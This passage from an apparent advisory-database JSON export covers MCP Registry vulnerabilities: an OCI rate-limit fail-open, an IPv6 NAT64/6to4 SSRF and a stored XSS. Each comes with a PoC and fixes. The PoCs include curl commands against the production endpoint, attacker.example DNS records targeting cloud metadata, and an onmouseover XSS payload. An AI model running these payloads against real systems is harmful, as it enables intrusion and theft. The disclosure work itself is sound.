fmt.Errorf(\"OCI image ownership validation failed. Expected annotation 'io.modelcontextprotocol.server.name' = '%s', got '%s'\", serverName, mcpName)\n}\n```\n\nThe fail-open returns before any of the three label-match guards run.\n\nThe validator is reached on every publish per `internal/service/registry_service.go:151-158`, gated by\n`cfg.EnableRegistryValidation`, which defaults to `true` in `internal/config/config.go:18`.\n\n## Reachability and authorization\n\n`POST /v0/publish` (and `/v0.1/publish`) is registered with bearer-JWT auth in\n`internal/api/handlers/v0/publish.go:30-50`. JWTs are issued by `/v0/auth/github-at`\n(`internal/api/handlers/v0/auth/github_at.go:46-67`), which exchanges any GitHub OAuth access token for\na 5-minute registry JWT carrying `Permission{Action: Publish, ResourcePattern: \"io.github.\u003clogin\u003e/*\"}`.\nAny free GitHub account can mint such a JWT, so the publish path is reachable to anyone on the\ninternet at the cost of a GitHub account.\n\n## Trigger conditions\n\n- `internal/validators/registries/oci.go:97`: anonymous Docker Hub auth, subject to the 100\n  manifest-pulls/6h/IP unauthenticated rate limit Docker Hub publishes.\n- `deploy/pkg/k8s/registry.go:330-331`: production NGINX limits incoming requests to 180/minute\n  per source IP with a 3× burst multiplier (540).\n- A single source IP at 3 RPS exhausts the registry's anonymous Docker Hub quota in roughly 33\n  seconds. Each `/publish` against an allowlisted OCI identifier in\n  `internal/validators/registries/oci.go:29-42` (docker.io / registry-1.docker.io / index.docker.io\n  / ghcr.io / quay.io / mcr.microsoft.com / `*.pkg.dev` / `*.azurecr.io`) consumes one slot,\n  including publishes that go on to fail with the missing-annotation error after the manifest is\n  fetched.\n- Once Docker Hub starts returning 429, every subsequent publish hits the fail-open branch until\n  the quota replenishes.\n\n## Attacker chain\n\n1. Free GitHub account `attacker` → `POST /v0/auth/github-at` → registry JWT with\n   `Permission{Action: Publish, ResourcePattern: \"io.github.attacker/*\"}`.\n2. From a single IP, send ~100 publishes whose `packages[].identifier` references real public\n   Docker Hub images that lack the `io.modelcontextprotocol.server.name` label\n   (e.g. `docker.io/library/alpine:latest`, `docker.io/library/nginx:latest`, …). Each publish\n   fails with \"OCI image is missing required annotation\" but consumes one anonymous-quota slot\n   from the registry's shared egress IP.\n3. While the egress IP is rate-limited by Docker Hub, submit the final publish:\n   `name = \"io.github.attacker/\u003ctypo-squat-name\u003e\"`,\n   `packages[].registryType = \"oci\"`,\n   `packages[].identifier = \"docker.io/\u003creputable-org\u003e/\u003creputable-image\u003e:\u003ctag\u003e\"`.\n4. `ValidateOCI` calls `remote.Image(ref, authn.Anonymous, …)`; Docker Hub returns 429;\n   `transportErr.StatusCode == http.StatusTooManyRequests` matches the fail-open branch;\n   `ValidateOCI` returns `nil`; `ValidatePackage` returns `nil`;\n   `validateRegistryOwnership` returns `nil`; the publish proceeds and `CreateServer` writes the\n   record. The registry now publishes a server record under `io.github.attacker/\u003ctypo-squat-name\u003e`\n   that asserts the reputable image as its package payload, without ever inspecting that image's\n   labels.\n\n## Boundary delta\n\n| | Starting capability | After exploit |\n|---|---|---|\n| Identity | Holder of a fresh `io.github.\u003cattacker\u003e` GitHub account | Same |\n| Publish scope | `io.github.\u003cattacker\u003e/*` only | `io.github.\u003cattacker\u003e/*` only (unchanged) |\n| OCI claim scope | OCI images the attacker controls and has labelled with `io.modelcontextprotocol.server.name = io.github.\u003cattacker\u003e/\u003cname\u003e` | **Any public OCI image** at any allowlisted registry, regardless of label |\n\nThe attacker's namespace stays bounded. What changes is that the registry's claim \"this OCI image is\nthe package payload of this MCP server\" is no longer backed by any cross-system proof. The label\ncheck at `oci.go:122-141` is the only ownership proof for OCI packages; bypassing it lets a\npublisher under `io.github.attacker/*` bind a server record to an unrelated image such as\n`docker.io/microsoft/\u003csome-tool\u003e:latest` without ever touching that image. Combined with how MCP\nclients render server-list entries — image identifier shown next to the namespace — the result is\ntypo-squat / impersonation in registry search and discovery surfaces, with the actual image content\ndelivered untouched from its real owner.\n\nThe same fail-open is reached without any attacker action whenever Docker Hub rate-limits the\nregistry's egress IP for organic reasons. In that mode, the OCI ownership check is effectively\nnon-functional for the duration of the limit window, even for legitimate publishers.\n\n## Cross-validator comparison (negative control)\n\nThe other registry-type validators do not fail-open on rate-limit responses:\n\n- `internal/validators/registries/npm.go:72-74` — `if resp.StatusCode != http.StatusOK { return error }`.\n- `internal/validators/registries/pypi.go:76-78` — same shape; 429 surfaces as\n  `\"PyPI package '%s' not found (status: %d)\"`.\n- `internal/validators/registries/nuget.go:253` — non-OK response paths return\n  `\"NuGet README request returned status %d\"`, the publish fails closed.\n- `internal/validators/registries/mcpb.go:84-91` — a HEAD that does not return 200 or a 3xx with\n  `Location` is treated as inaccessible.\n\nOCI is the only validator that converts an upstream rate-limit into a successful ownership\nattestation.\n\n## Suggested fix\n\nTwo options, either alone, or both for defence-in-depth:\n\n1. Remove the fail-open. Replace\n   ```go\n   case http.StatusTooManyRequests:\n       log.Printf(\"Skipping OCI validation for %s due to rate limiting\", pkg.Identifier)\n       return nil\n   ```\n   with an error of the same shape the other validators use (`return fmt.Errorf(\"OCI registry is\n   currently rate-limiting validations for '%s'; please retry shortly\", pkg.Identifier)`). The\n   handler call sites in `validateRegistryOwnership` already propagate the error to a 400 response.\n2. Replace `authn.Anonymous` at `internal/validators/registries/oci.go:97` with an authenticated\n   token whose quota is isolated from organic anonymous traffic to the registry's egress IP. Docker\n   Hub authenticated pulls are 200/6h per token; ghcr.io / quay.io / `*.pkg.dev` / `*.azurecr.io`\n   each have their own auth flows. This removes the easy attacker-side trigger and reduces organic\n   fail-open windows.\n\nIf a fail-open path is retained for UX reasons, queue the publish for re-validation when the\nupstream registry recovers, instead of marking it accepted on first attempt.\n\n## Proof of concept\n\nThe refreshed PoC drives the publish path, not only the validator branch:\n\n```text\nservice.CreateServer\n  -\u003e validators.ValidatePublishRequest\n  -\u003e registries.ValidateOCI\n  -\u003e database.CreateServer\n```\n\nIt runs inside the checked-out module, uses the real service and validator code, and substitutes only\nthe database with a minimal in-memory implementation so the proof can run without a local Postgres\nstack. To keep the proof localhost-only, the runner temporarily adds the in-process mock OCI host to\nthe unexported OCI allowlist. It does not contact Docker Hub, the production registry, or any\nexternal service.\n\nTo run:\n\n```bash\nbash outputs/poc-evidence/2026-05-12-mcp-registry-publish-path/run.sh\n```\n\nCaptured transcript:\n\n```text\n=== modelcontextprotocol/registry publish-path OCI 429 fail-open PoC ===\nPath exercised: service.CreateServer -\u003e validators.ValidatePublishRequest -\u003e registries.ValidateOCI -\u003e DB CreateServer\n\n--- negative control: upstream 404 ---\n[setup] temporarily allowlisted mock OCI host 127.0.0.1:39067 for localhost-only proof\n[setup] publish identifier=127.0.0.1:39067/reputable-org/reputable-image:latest\n[mock-oci] GET /v2/ -\u003e 404\n[publish] rejected: registry validation failed for package 0 (127.0.0.1:39067/reputable-org/reputable-image:latest): OCI image '127.0.0.1:39067/reputable-org/reputable-image:latest' does not exist in the registry\n\n--- BUG: upstream 429 ---\n[setup] temporarily allowlisted mock OCI host 127.0.0.1:40487 for localhost-only proof\n[setup] publish identifier=127.0.0.1:40487/reputable-org/reputable-image:latest\n[mock-oci] GET /v2/ -\u003e 429\n[memdb] AcquirePublishLock(io.github.attacker/typosquat-tool)\n[memdb] CreateServer stored name=io.github.attacker/typosquat-tool version=1.0.1 package=127.0.0.1:40487/reputable-org/reputable-image:latest\n[publish] accepted/stored packages=[{\"registryType\":\"oci\",\"identifier\":\"127.0.0.1:40487/reputable-org/reputable-image:latest\",\"transport\":{\"type\":\"stdio\"}}]\nPUBLISH_PATH_RESULT: ACCEPTED_UNVERIFIED_OCI_PACKAGE_AFTER_429\n```\n\nExit code 0. SHA-256 values:\n\n```text\nacf7121111c19acaca1c99a3c08079213794ffc4feb63e545ec814bd6cd85984  transcript.txt\n340e7a81740e9f14cadc144d4e640a1d497ce3e6696a3d9ea99d63e05c5edd71  publish_path_runner.go\nc970f08d6b79852308ad931da85dd64a65fe373d3c988018de09a7e4c7c345a4  run.sh\n```\n\nThe end-to-end attacker flow against production was not executed. No publish was sent against\n`registry.modelcontextprotocol.io`. No attacker namespace was registered on the live service. The\nlocal proof shows the critical property: when the actual publish validator sees an OCI 429, the\nservice proceeds to create a server record containing the unverified OCI package identifier.\n\n## Severity rationale\n\n**Maintainer triage (2026-05-13):** after review the maintainer settled on Low (3.5, `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N`). Impact stays within the attacker's own namespace and image bytes delivered to clients are unchanged. See the comment thread for reasoning. Reporter's original write-up preserved below.\n\nMedium. Auth-bypass class — the attacker bypasses the only ownership proof for OCI packages, and the\nfail-open trigger is attacker-controllable from a single IP at modest cost. The blast radius is\nbounded to publication misrepresentation under the attacker's own namespace; the actual image\ncontent stays under its rightful owner. Combined with normal MCP-client search and discovery\nsurfaces, this is sufficient for impersonation / typo-squat where the rendered image identifier\nimplies authorship the registry could not actually attest.\n\nThe fail-open also activates under normal traffic when Docker Hub rate-limits the egress IP, so the\nOCI ownership check is in practice intermittent rather than absent — both modes are bug states.\n\n## Disclosure preferences\n\nReport through the GitHub Security Advisory process per repo SECURITY.md. Happy to keep details\nprivate until a fix is in motion. If a public GHSA / CVE / release note is published, please credit\nthe report to **Ryan Vonbrubeck / @dodge1218**.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-19T15:39:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","references":["https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-2v5f-5r6w-p67r","https://nvd.nist.gov/vuln/detail/CVE-2026-45781","https://github.com/advisories/GHSA-2v5f-5r6w-p67r"],"source_kind":"github","identifiers":["GHSA-2v5f-5r6w-p67r","CVE-2026-45781"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T16:00:19.307Z","updated_at":"2026-05-23T06:00:13.678Z","epss_percentage":0.0001,"epss_percentile":0.0113,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydjVmLTVyNnctcDY3cs4ABXGl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ydjVmLTVyNnctcDY3cs4ABXGl","packages":[{"ecosystem":"go","package_name":"github.com/modelcontextprotocol/registry","versions":[{"first_patched_version":"1.7.9","vulnerable_version_range":"\u003c 1.7.9"}],"purl":"pkg:go/github.com%2Fmodelcontextprotocol%2Fregistry"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydjVmLTVyNnctcDY3cs4ABXGl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNDhjLXYyOHItcGY2ds4ABWfU","url":"https://github.com/advisories/GHSA-r48c-v28r-pf6v","title":"MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist","description":"### Summary\n\nThe Registry's HTTP-based namespace verification (`POST /v0/auth/http`, `POST /v0.1/auth/http`) uses `safeDialContext` (`internal/api/handlers/v0/auth/http.go:67-110`) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (`isBlockedIP`, lines 125-133) relies entirely on Go stdlib's `IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified` plus a manual CGNAT range. **None of these cover IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48` per RFC 8215), or deprecated site-local (`fec0::/10`)** — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts.\n\nThis is the same CWE-918 SSRF class fixed in **GHSA-56c3-vfp2-5qqj** on `czlonkowski/n8n-mcp` (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4.\n\nThe endpoint is **unauthenticated** — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency.\n\nAffected: latest `main` HEAD `23f4fda` and current production `v1.7.6` deployment at `https://registry.modelcontextprotocol.io/v0/auth/http`.\n\n### Details\n\n#### Vulnerable code\n\n`internal/api/handlers/v0/auth/http.go:125-133`:\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n    if ip == nil {\n        return true\n    }\n    return ip.IsLoopback() || ip.IsPrivate() ||\n        ip.IsLinkLocalUnicast() || ip.IsMulticast() ||\n        ip.IsUnspecified() ||\n        cgnatRange.Contains(ip)\n}\n```\n\nPer Go source (`src/net/ip.go`), the relevant stdlib helpers cover:\n\n| Helper | IPv6 coverage |\n|---|---|\n| `IsLoopback` | `::1`, IPv4-mapped of 127/8 (via `To4()` fast-path) |\n| `IsPrivate` | ULA `fc00::/7` only — `ip[0]\u00260xfe == 0xfc` |\n| `IsLinkLocalUnicast` | `fe80::/10` only — `ip[1]\u00260xc0 == 0x80` (NOT `fec0::/10` which is `0xc0`) |\n| `IsMulticast` | `ff00::/8` |\n| `IsUnspecified` | `::` |\n\nThe Registry's blocklist therefore **does not** cover:\n\n| Prefix | Defined in | Why dangerous |\n|---|---|---|\n| `2002::/16` | RFC 3056 (6to4) | Bits 16-47 embed an arbitrary IPv4 address. `2002:a9fe:a9fe::` is the 6to4 encoding of `169.254.169.254` (AWS / Azure metadata). `2002:0a00:0001::` encodes `10.0.0.1`. On hosts with 6to4 routing or any explicit `2002::/16` route, the dial reaches the embedded IPv4. |\n| `64:ff9b::/96` | RFC 6052 (NAT64 well-known prefix) | Low 32 bits embed an IPv4 address. `64:ff9b::a9fe:a9fe` translates to `169.254.169.254` on any NAT64-enabled network — which is the **default** in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks. |\n| `64:ff9b:1::/48` | RFC 8215 (local-use NAT64) | Same tunnelling concern, intended for operator-defined NAT64. |\n| `fec0::/10` | RFC 3879 (deprecated site-local) | Some BSD / older Linux stacks still honour these for routing into site-local internal networks. |\n\n`safeDialContext` resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete.\n\n#### Exposure surface\n\n`POST /v0/auth/http` (and `POST /v0.1/auth/http`) is registered in `internal/api/handlers/v0/auth/http.go:197-218` and routed unauthenticated in `internal/api/router/v0.go:24,39`:\n\n```go\nhuma.Register(api, huma.Operation{\n    OperationID: \"exchange-http-token...\",\n    Method:      http.MethodPost,\n    Path:        pathPrefix + \"/auth/http\",\n    Summary:     \"Exchange HTTP signature for Registry JWT\",\n    ...\n}, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) {\n    response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...)\n    ...\n})\n```\n\nThe handler builds `https://\u003cattacker-domain\u003e/.well-known/mcp-registry-auth` (line 143) and dials via the `safeDialContext`-equipped client. The `domain` parameter is taken verbatim from the unauthenticated POST body.\n\nCritical order-of-operations confirmation in `CoreAuthHandler.ExchangeToken` (`internal/api/handlers/v0/auth/common.go:246-265`):\n\n1. `ValidateDomainAndTimestamp(domain, timestamp)` — domain format check (no IP literal, must contain dot)\n2. `DecodeAndValidateSignature(signedTimestamp)` — hex decode\n3. **`keyFetcher(ctx, domain)`** ← SSRF dial happens here\n4. `VerifySignatureWithKeys(...)` ← only AFTER fetch\n\nSo the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for `signedTimestamp`.\n\n### PoC\n\nTested against `main` HEAD `23f4fda` (`make dev-compose` boots Registry on `localhost:8080`).\n\n#### Step 1 — Set up attacker DNS\n\nConfigure `attacker.example` with the AAAA records:\n\n```\nattacker-6to4.example.       AAAA  2002:a9fe:a9fe::         ; 6to4 -\u003e 169.254.169.254\nattacker-nat64.example.      AAAA  64:ff9b::a9fe:a9fe       ; NAT64 -\u003e 169.254.169.254\nattacker-rfc1918.example.    AAAA  64:ff9b::a00:0001        ; NAT64 -\u003e 10.0.0.1\n```\n\n(Equivalent free options: a domain on Cloudflare with manual AAAA, or a `requestbin`-style service with custom DNS.)\n\n#### Step 2 — Trigger the dial (no credentials required)\n\n```bash\ncurl -i https://registry.modelcontextprotocol.io/v0/auth/http \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"domain\\\":\\\"attacker-nat64.example\\\",\\\"timestamp\\\":\\\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\\\",\\\"signedTimestamp\\\":\\\"00\\\"}\"\n```\n\nTimestamp need only be within ±15s of server clock. `signedTimestamp` is any hex string — it is decoded but only verified AFTER `FetchKey` has already dialled.\n\n#### Step 3 — Observe\n\nOn a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches `169.254.169.254:443`. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by `MaxKeyResponseSize`) is consumed as a key candidate.\n\nFor hosts without 6to4 / NAT64 routing, the dial fails with `no route to host` rather than `refusing to connect to private or loopback address` — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability.\n\n#### Expected behaviour after fix\n\n`isBlockedIP` should return `true` for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp `isPrivateOrMappedIpv6` helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation:\n\n```go\nfunc isBlockedIPv6Prefix(ip net.IP) bool {\n    v6 := ip.To16()\n    if v6 == nil || ip.To4() != nil {\n        return false\n    }\n    // 6to4 (2002::/16)\n    if v6[0] == 0x20 \u0026\u0026 v6[1] == 0x02 {\n        return true\n    }\n    // NAT64 well-known 64:ff9b::/96\n    if v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n       v6[4] == 0 \u0026\u0026 v6[5] == 0 \u0026\u0026 v6[6] == 0 \u0026\u0026 v6[7] == 0 {\n        return true\n    }\n    // NAT64 RFC 8215 local-use 64:ff9b:1::/48\n    if v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n       v6[4] == 0x00 \u0026\u0026 v6[5] == 0x01 {\n        return true\n    }\n    // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks)\n    if v6[0] == 0xfe \u0026\u0026 (v6[1]\u00260xc0) == 0xc0 {\n        return true\n    }\n    return false\n}\n```\n\nThen extend the call site:\n\n```go\nreturn ip.IsLoopback() || ip.IsPrivate() ||\n    ip.IsLinkLocalUnicast() || ip.IsMulticast() ||\n    ip.IsUnspecified() ||\n    cgnatRange.Contains(ip) ||\n    isBlockedIPv6Prefix(ip)\n```\n\nA regression test fixture should set up a stub resolver returning each of the four prefix families and assert that `safeDialContext` returns the \"private/loopback\" error before any dial.\n\n### Impact\n\nCWE: **CWE-918** Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj).\n\nCVSS:3.1: matching the n8n-mcp precedent (`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` ~= **8.5 HIGH**). AC = High because exploitation depends on the registry host having NAT64 or 6to4 routing — the **default** on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself).\n\nFor the official `https://registry.modelcontextprotocol.io` deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry's outbound interface — including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (`MaxKeyResponseSize`) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential).\n\nSelf-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed.\n\n### Why this slipped past PR #1227\n\nThe April 29 hardening batch (commit `1201cbd`, \"security: fix open redirect and add small hardening\") explicitly added `safeDialContext` to block \"loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label\" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go's per-class stdlib helpers — which collectively miss the IPv6 prefix families that *embed* IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in `git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go` reference 6to4 / NAT64 / site-local.\n\n### Credit\n\nReported by **Matteo Panzeri** (GitHub: **matte1782**).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-08T17:20:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-r48c-v28r-pf6v","https://github.com/modelcontextprotocol/registry/pull/1250","https://github.com/modelcontextprotocol/registry/commit/f5f40bd98084466eaf18fe48ea62a0d534caa774","https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.7","https://nvd.nist.gov/vuln/detail/CVE-2026-44430","https://github.com/advisories/GHSA-r48c-v28r-pf6v"],"source_kind":"github","identifiers":["GHSA-r48c-v28r-pf6v","CVE-2026-44430"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T18:00:08.161Z","updated_at":"2026-05-27T14:00:33.090Z","epss_percentage":0.00027,"epss_percentile":0.07876,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDhjLXYyOHItcGY2ds4ABWfU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNDhjLXYyOHItcGY2ds4ABWfU","packages":[{"ecosystem":"go","package_name":"github.com/modelcontextprotocol/registry","versions":[{"first_patched_version":"1.7.7","vulnerable_version_range":"\u003c 1.7.7"}],"purl":"pkg:go/github.com%2Fmodelcontextprotocol%2Fregistry"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDhjLXYyOHItcGY2ds4ABWfU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycXYyLW02OTUtZjhqNM4ABWfT","url":"https://github.com/advisories/GHSA-rqv2-m695-f8j4","title":"MCP Registry vulnerable to stored XSS in catalogue UI via attribute-quote breakout in publisher-controlled `websiteUrl`","description":"## Summary\n\nThe public catalogue UI served at `GET /` (file `internal/api/handlers/v0/ui_index.html`) is vulnerable to stored cross-site scripting via the `server.websiteUrl` field of any published `server.json`. Server-side validation in `internal/validators/validators.go` (`validateWebsiteURL`) only checks that the URL parses, is absolute, and uses the `https` scheme; it does not reject quote characters. Client-side, the value is interpolated into a double-quoted `href` attribute via `innerHTML`, using a homegrown `escapeHtml` helper that performs the standard `textContent` → `innerHTML` round-trip. Per the HTML serialisation algorithm, that round-trip encodes only `\u0026`, `\u003c`, `\u003e` and U+00A0 inside text nodes — it does **not** encode `\"` or `'`. A literal `\"` in `websiteUrl` therefore breaks out of the `href` attribute, allowing arbitrary `on*` event handlers to be appended to the same `\u003ca\u003e` element. The Content-Security-Policy on `/` is `script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com`, so the injected event handlers execute.\n\nAny user able to obtain a publish token (e.g. via `POST /v0/auth/github-at` with their own GitHub account, or `POST /v0/auth/none` on a deployment that has anonymous auth enabled) can plant a poisoned record visible to every visitor of the registry homepage.\n\n## Affected component\n\n- Validator: `internal/validators/validators.go` — `validateWebsiteURL` (lines 153–199)\n- Sink: `internal/api/handlers/v0/ui_index.html` — `toggleDetails(card, item)` at line 432, the `href` attribute built around `escapeHtml(server.websiteUrl)`\n- Helper: `escapeHtml` defined at `internal/api/handlers/v0/ui_index.html` lines 494–498\n\n## Proof of concept\n\n1. Obtain a Registry JWT for any namespace you control (a GitHub OAuth exchange against a throwaway account suffices):\n\n   ```bash\n   TOKEN=$(curl -sS -X POST https://registry.modelcontextprotocol.io/v0/auth/github-at \\\n        -H 'Content-Type: application/json' \\\n        -d '{\"github_token\":\"\u003cgh-pat\u003e\"}' | jq -r .registry_token)\n   ```\n\n2. Publish a server with a poisoned `websiteUrl`. The literal `\"` is preserved end-to-end:\n\n   ```bash\n   curl -sS -X POST https://registry.modelcontextprotocol.io/v0/publish \\\n     -H \"Authorization: Bearer $TOKEN\" \\\n     -H 'Content-Type: application/json' \\\n     --data-binary @- \u003c\u003c'EOF'\n   {\n     \"$schema\": \"https://static.modelcontextprotocol.io/schemas/2025-09-29/server.schema.json\",\n     \"name\":  \"io.github.\u003cyour-account\u003e/xss-poc\",\n     \"version\": \"0.0.1\",\n     \"description\": \"hover the website link\",\n     \"websiteUrl\": \"https://example.com/\\\"onmouseover=alert(document.domain)//\"\n   }\n   EOF\n   ```\n\n3. Visit `https://registry.modelcontextprotocol.io/`, search for `xss-poc`, click the card to expand it, then hover the **Website** link in the details panel. The injected `onmouseover` fires and `alert(document.domain)` runs on the `registry.modelcontextprotocol.io` origin.\n\n## Why server-side validation does not catch this\n\nGo's `net/url.Parse` accepts literal `\"` in the path component:\n\n```\ninput=\"https://example.com/\\\"onmouseover=alert(1)//\"  IsAbs=true  Scheme=\"https\"  Path=\"/\\\"onmouseover=alert(1)//\"\n```\n\nNeither the Huma `format:\"uri\"` annotation nor `validateWebsiteURL`'s scheme/`IsAbs` triplet rejects this string. The architecture's existing protection — `repository.url` is regex-locked to `^https?://(www\\.)?github\\.com/[\\w.-]+/[\\w.-]+/?$` and therefore cannot contain quotes — does not extend to `websiteUrl`, which has no allowlist.\n\n## Why client-side `escapeHtml` does not catch this\n\n```js\nfunction escapeHtml(text) {\n    const div = document.createElement('div');\n    div.textContent = text;\n    return div.innerHTML;\n}\n```\n\nPer the HTML5 spec (§13.3 Serialising HTML fragments), the only characters encoded inside the text content of an element are `\u0026`, `\u003c`, `\u003e`, and U+00A0. `\"` and `'` are **not** encoded because in a text-content context they are not special. The helper is therefore safe in element-text contexts (where it is correctly used for `name`, `version`, `description`, etc.) but unsafe inside an attribute value, which is precisely where it is invoked for `href` on lines 432 and 426.\n\n## Impact\n\n- Stored XSS on the official MCP Registry homepage. The malicious entry sits in the public catalogue alongside legitimate ones; any user expanding the entry triggers the payload.\n- Because the page is served on the official `registry.modelcontextprotocol.io` origin, the injected script can:\n  - Read and overwrite `localStorage` (`baseUrl`, `customUrl`), pinning the user's subsequent reads to an attacker-controlled \"Custom\" base URL.\n  - Issue any same-origin or cross-origin XHR (`connect-src *` is granted).\n  - Phish for Registry JWTs by injecting fake auth flows on the trusted origin.\n- The CSP `script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com` does not block this because `'unsafe-inline'` permits inline event-handler attributes.\n\n## Suggested remediation (any one suffices)\n\n1. Replace the homegrown `escapeHtml` with an attribute-safe encoder that also escapes `\"`, `'`, backtick, and `=` — the OWASP HTML attribute-encoding rule.\n2. Avoid building the `href` via string templates. Use `setAttribute('href', value)` instead — `setAttribute` is not subject to HTML tokenisation, so no breakout is possible.\n3. Tighten `validateWebsiteURL` to reject any URL whose raw bytes contain `\"`, `'`, `\u003c`, `\u003e`, ` `, `\\t`, or `\\n`, or — conservatively — store the canonical re-serialised form (`parsedURL.String()` percent-encodes such characters in the path).\n4. Drop `'unsafe-inline'` from `script-src` after auditing the inline scripts on the page.\n\nApproach (3) is the smallest server-side change and immediately neutralises the exploit for any new publishes; approaches (1) or (2) close the class of bug at the sink so future fields with similar patterns are safe by default.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-08T17:18:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L","references":["https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-rqv2-m695-f8j4","https://github.com/modelcontextprotocol/registry/pull/1249","https://github.com/modelcontextprotocol/registry/commit/78b7bbde07948049b916d76b4769faee461ff930","https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.7","https://nvd.nist.gov/vuln/detail/CVE-2026-44429","https://github.com/advisories/GHSA-rqv2-m695-f8j4"],"source_kind":"github","identifiers":["GHSA-rqv2-m695-f8j4","CVE-2026-44429"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T18:00:08.161Z","updated_at":"2026-05-23T06:00:27.017Z","epss_percentage":0.00035,"epss_percentile":0.10715,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycXYyLW02OTUtZjhqNM4ABWfT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycXYyLW02OTUtZjhqNM4ABWfT","packages":[{"ecosystem":"go","package_name":"github.com/modelcontextprotocol/registry","versions":[{"first_patched_version":"1.7.7","vulnerable_version_range":"\u003c 1.7.7"}],"purl":"pkg:go/github.com%2Fmodelcontextprotocol%2Fregistry"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycXYyLW02OTUtZjhqNM4ABWfT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NWMzLTZ2dnctNG1ycc4ABWfO","url":"https://github.com/advisories/GHSA-95c3-6vvw-4mrq","title":"MCP Registry's GitHub OIDC tokens are replayable across registry deployments due to shared audience","description":"# [SECURITY] registry_001 Vulnerability Report\n\nWhile analyzing the code logic, an area that may lead to unintended behavior under specific conditions was discovered. \n\n## Overview\n- Verified Version: 